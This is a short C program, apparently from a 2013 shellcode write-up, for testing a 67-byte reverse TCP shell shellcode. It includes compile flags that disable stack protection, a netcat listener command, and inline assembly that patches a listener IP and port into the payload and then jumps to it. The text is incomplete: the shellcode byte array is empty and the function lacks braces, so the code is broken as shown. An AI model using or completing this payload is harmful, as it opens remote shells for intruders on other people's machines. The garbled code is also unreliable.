Tiny Shell Reverse TCP Shellcode - C Language

 Written in 2013 by Geyslan G. Bem, Hacking bits


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 * 67 bytes
 * null-free if the IP and port are

 # gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode

 # nc -l 11111
 # ./tiny_shell_reverse_tcp_shellcode


#include <stdio.h>
#include <string.h>

unsigned char code[] = \


main ()

        // When the Port contains null bytes, printf will show a wrong shellcode length.

	printf("Shellcode Length:  %d\n", strlen(code));

	// Pollutes all registers ensuring that the shellcode runs in any circumstance.

	__asm__ ("movl $0xffffffff, %eax\n\t"
		 "movl %eax, %ebx\n\t"
		 "movl %eax, %ecx\n\t"
		 "movl %eax, %edx\n\t"
		 "movl %eax, %esi\n\t"
		 "movl %eax, %edi\n\t"
		 "movl %eax, %ebp\n\t"

	// Setting the IP
		 "movl $0x0101017f, (code+27)\n\t"

	// Setting the port
		 "movw $0x672b, (code+33)\n\t"

	// Calling the shellcode
		 "call code");